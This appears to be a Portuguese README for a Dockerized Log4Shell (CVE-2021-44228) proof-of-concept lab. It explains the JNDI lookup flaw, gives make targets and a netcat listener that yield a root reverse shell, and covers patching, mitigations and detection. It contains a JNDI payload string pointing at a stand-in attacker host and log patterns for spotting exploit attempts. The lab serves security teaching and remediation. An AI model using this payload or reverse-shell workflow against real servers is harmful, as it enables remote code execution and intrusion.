Log4Shell (CVE-2021-44228) PoC
Objetivo
Reproduzir, explorar e remediar um CVE crítico conhecido num ambiente Dockerizado.
Este PoC demonstra CVE-2021-44228 (Log4Shell) numa aplicação Spring Boot.
1. Descrição da vulnerabilidade
CVE: 2021-44228
CVSS: 10.0 (Crítico)
Componente afetado: Apache Log4j (<= 2.14.1)
Como o pacote funciona
- O Log4j é uma biblioteca de logging Java muito popular.
- Suporta lookups (
${...}) para resolver dinamicamente valores dentro de mensagens de log.
- Um destes lookups é o JNDI, que pode obter valores via LDAP.
Como funciona a vulnerabilidade
- O atacante envenena a aplicação da vítima com uma string de lookup JNDI maliciosa, como
${jndi:ldap://attacker.com:1389/a}.
- A aplicação da vítima, com uma versão vulnerável do Log4j, avalia a string maliciosa durante o logging.
- Isto aciona um pedido JNDI para o servidor LDAP controlado pelo atacante.
- O servidor LDAP responde com uma referência maliciosa para bytecode Java externo.
- A JVM da vítima carrega o bytecode e executa-o, resultando em Execução Remota de Código (RCE).
Como funciona o exploit
- A aplicação da vítima faz log da entrada fornecida pelo atacante a partir de um cabeçalho HTTP.
- O servidor LDAP do atacante responde com uma referência para
Exploit.class.
- A vítima obtém o
Exploit.class via HTTP.
- O inicializador estático em
Exploit é executado, lançando uma reverse shell de volta para o atacante.
2. Risco
3. Prova de conceito
Pré-requisitos
- docker + docker-compose
- netcat
- make
Construir e iniciar
make build start
Explorar
- Inicie um listener netcat:
nc -l 4444
- Acione o exploit:
make exploit
- O Netcat recebe uma reverse shell da vítima:
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
Correção preferida
- Atualize para o Log4j 2.17.1 ou superior.
- Esta é a única correção completa e de longo prazo. Versões anteriores corrigiram parcialmente, mas ainda deixaram exposições:
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
Mitigações provisórias (se a atualização não for possível)
- Ganhar tempo
- Restringir strings de exploit de entrada (padrões
${jndi:) com um WAF ou middleware.
- Restringir LDAP de saída dos servidores de aplicação com filtragem de egress.
- Desativar lookups:
-Dlog4j2.formatMsgNoLookups=true
- Reforçar a JVM:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
Mitigações operacionais
- Auditar dependências e runtime
- Gerar um SBOM (
gradle dependencies, Snyk, Wiz, etc.).
- Procurar por
log4j-core-*.jar em imagens/servidores implementados, incluindo fat JARs.
- Fazer triagem e priorizar mitigações para as cargas de trabalho de maior risco.
- Monitorizar e detetar
- Estar atento a tentativas de exploit nos logs (
${jndi:...}, ${${lower:j}ndi:...}, etc.).
- Monitorizar o tráfego LDAP de saída para detetar callbacks.
- Tratar os resultados como potenciais comprometimentos, escalar para resposta a incidentes (investigação forense, remoção de artefactos maliciosos, rotação de segredos, etc.).
- Patches dos fornecedores
- Acompanhar os advisories dos fornecedores (por exemplo, Elasticsearch) - muitos incluem Log4j incorporado.
- Aplicar hotfixes ou workarounds fornecidos até que patches oficiais estejam disponíveis.
- Melhorias estratégicas
- Aplicar a política de "negar por padrão" na filtragem de tráfego de saída.
- Aplicar a análise de dependências no CI/CD.
- Formalizar playbooks de resposta para que as equipas saibam exatamente o que fazer durante a próxima vulnerabilidade de "CVSS 10.0".
- Realizar exercícios de resiliência/tabletops para testar a prontidão para um novo incidente da "classe Log4Shell".
5. Referências